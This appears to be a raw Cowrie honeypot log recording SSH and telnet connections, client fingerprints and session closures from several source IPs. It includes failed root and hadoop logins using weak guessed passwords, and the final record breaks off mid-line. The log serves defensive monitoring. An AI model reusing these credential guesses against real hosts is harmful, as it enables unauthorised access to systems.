{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43662,"dst_ip":"10.17.0.5","dst_port":23,"session":"a26a9c56ec34","protocol":"telnet","message":"New connection: 62.210.97.77:43662 (10.17.0.5:23) [session: a26a9c56ec34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:31.811573Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":42046,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf79ce789328","protocol":"ssh","message":"New connection: 45.78.198.206:42046 (10.17.0.5:22) [session: bf79ce789328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:31.841408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:31.847906Z","src_ip":"45.78.198.206","session":"bf79ce789328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:32.090629Z","src_ip":"45.78.198.206","session":"bf79ce789328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34788,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb6ae9aec2c","protocol":"telnet","message":"New connection: 38.54.119.93:34788 (10.17.0.5:23) [session: 3cb6ae9aec2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:32.251869Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36614,"dst_ip":"10.17.0.5","dst_port":22,"session":"eef01ff522ce","protocol":"ssh","message":"New connection: 176.65.132.254:36614 (10.17.0.5:22) [session: eef01ff522ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:33.299621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:33.304745Z","src_ip":"176.65.132.254","session":"eef01ff522ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:33.386706Z","src_ip":"176.65.132.254","session":"eef01ff522ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:33.642302Z","src_ip":"176.65.132.254","session":"eef01ff522ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.70506310462952,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:34.122928Z","src_ip":"65.60.27.33","session":"5aa116d4c58e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43666,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc133e7857d9","protocol":"telnet","message":"New connection: 62.210.97.77:43666 (10.17.0.5:23) [session: fc133e7857d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:34.398992Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:34.877055Z","src_ip":"176.65.132.254","session":"eef01ff522ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.80357646942139,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:35.310861Z","src_ip":"62.210.97.77","session":"55bceec29b18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43672,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d898f7bf3bf","protocol":"telnet","message":"New connection: 62.210.97.77:43672 (10.17.0.5:23) [session: 8d898f7bf3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:35.556506Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37080,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fd833988a8c","protocol":"telnet","message":"New connection: 38.54.119.93:37080 (10.17.0.5:23) [session: 4fd833988a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:35.810884Z"}
{"eventid":"cowrie.session.closed","duration":31.09018874168396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:37.062586Z","src_ip":"62.210.97.77","session":"bf702efed3c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.15845251083374,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:37.129220Z","src_ip":"65.60.27.33","session":"ba9a343a5520","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36632,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a05fedefd78","protocol":"ssh","message":"New connection: 176.65.132.254:36632 (10.17.0.5:22) [session: 3a05fedefd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:37.266411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:37.271217Z","src_ip":"176.65.132.254","session":"3a05fedefd78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:37.353820Z","src_ip":"176.65.132.254","session":"3a05fedefd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.68474268913269,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:37.485741Z","src_ip":"62.210.97.77","session":"e3552140c69e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:37.644095Z","src_ip":"176.65.132.254","session":"3a05fedefd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.99397373199463,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:38.429568Z","src_ip":"62.210.97.77","session":"f95322b02342","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39164,"dst_ip":"10.17.0.5","dst_port":23,"session":"28b09d8d4006","protocol":"telnet","message":"New connection: 38.54.119.93:39164 (10.17.0.5:23) [session: 28b09d8d4006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:38.475836Z"}
{"eventid":"cowrie.session.closed","duration":35.391302824020386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:38.676538Z","src_ip":"62.210.97.77","session":"b51e01349f06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:38.781141Z","src_ip":"176.65.132.254","session":"3a05fedefd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.935685873031616,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:38.813751Z","src_ip":"65.60.27.33","session":"e629484455d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40784,"dst_ip":"10.17.0.5","dst_port":23,"session":"25cc0ac53498","protocol":"telnet","message":"New connection: 62.210.97.77:40784 (10.17.0.5:23) [session: 25cc0ac53498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:39.306169Z"}
{"eventid":"cowrie.session.closed","duration":38.20695686340332,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:39.641674Z","src_ip":"62.210.97.77","session":"0e1429a45632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.554574489593506,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:39.760711Z","src_ip":"134.209.8.29","session":"a066086c144f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.050079584121704,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:40.042189Z","src_ip":"62.210.97.77","session":"1d25f438d4a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40792,"dst_ip":"10.17.0.5","dst_port":23,"session":"5158e2aaaab8","protocol":"telnet","message":"New connection: 62.210.97.77:40792 (10.17.0.5:23) [session: 5158e2aaaab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:40.374699Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33658,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c5b6accc353","protocol":"telnet","message":"New connection: 65.60.27.33:33658 (10.17.0.5:23) [session: 6c5b6accc353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:40.748517Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36654,"dst_ip":"10.17.0.5","dst_port":22,"session":"19a36e76a7a1","protocol":"ssh","message":"New connection: 176.65.132.254:36654 (10.17.0.5:22) [session: 19a36e76a7a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:41.268353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:41.273338Z","src_ip":"176.65.132.254","session":"19a36e76a7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40800,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab25ba08f09e","protocol":"telnet","message":"New connection: 62.210.97.77:40800 (10.17.0.5:23) [session: ab25ba08f09e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:41.312699Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:41.356781Z","src_ip":"176.65.132.254","session":"19a36e76a7a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:41.620644Z","src_ip":"176.65.132.254","session":"19a36e76a7a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.02215027809143,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:42.689152Z","src_ip":"62.210.97.77","session":"4a45c0d72c68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:42.707051Z","src_ip":"176.65.132.254","session":"19a36e76a7a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":35970,"dst_ip":"10.17.0.5","dst_port":23,"session":"082d62a474b6","protocol":"telnet","message":"New connection: 65.60.27.33:35970 (10.17.0.5:23) [session: 082d62a474b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:42.721356Z"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:42.830164Z","src_ip":"45.78.198.206","session":"bf79ce789328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00254011154175,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:43.178947Z","src_ip":"38.54.119.93","session":"595717ee1484","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40808,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ad8360beac8","protocol":"telnet","message":"New connection: 62.210.97.77:40808 (10.17.0.5:23) [session: 5ad8360beac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:44.142952Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59574,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eba981bf655","protocol":"ssh","message":"New connection: 176.65.132.254:59574 (10.17.0.5:22) [session: 2eba981bf655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:45.223457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:45.228578Z","src_ip":"176.65.132.254","session":"2eba981bf655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:45.313086Z","src_ip":"176.65.132.254","session":"2eba981bf655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:45.689141Z","src_ip":"176.65.132.254","session":"2eba981bf655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40816,"dst_ip":"10.17.0.5","dst_port":23,"session":"de7238e8a147","protocol":"telnet","message":"New connection: 62.210.97.77:40816 (10.17.0.5:23) [session: de7238e8a147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:45.712803Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:46.776361Z","src_ip":"176.65.132.254","session":"2eba981bf655","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40818,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ab254ad226b","protocol":"telnet","message":"New connection: 62.210.97.77:40818 (10.17.0.5:23) [session: 6ab254ad226b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:46.968132Z"}
{"eventid":"cowrie.session.closed","duration":35.201133489608765,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:47.519585Z","src_ip":"62.210.97.77","session":"036c8a8b1477","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.65065932273865,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:47.706574Z","src_ip":"62.210.97.77","session":"b52d6c493cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45110,"dst_ip":"10.17.0.5","dst_port":23,"session":"4939c3a0ea7c","protocol":"telnet","message":"New connection: 38.54.119.93:45110 (10.17.0.5:23) [session: 4939c3a0ea7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:47.733784Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":59576,"dst_ip":"10.17.0.5","dst_port":22,"session":"1401ab8281d9","protocol":"ssh","message":"New connection: 176.65.132.254:59576 (10.17.0.5:22) [session: 1401ab8281d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:49.237071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:24:49.242856Z","src_ip":"176.65.132.254","session":"1401ab8281d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cer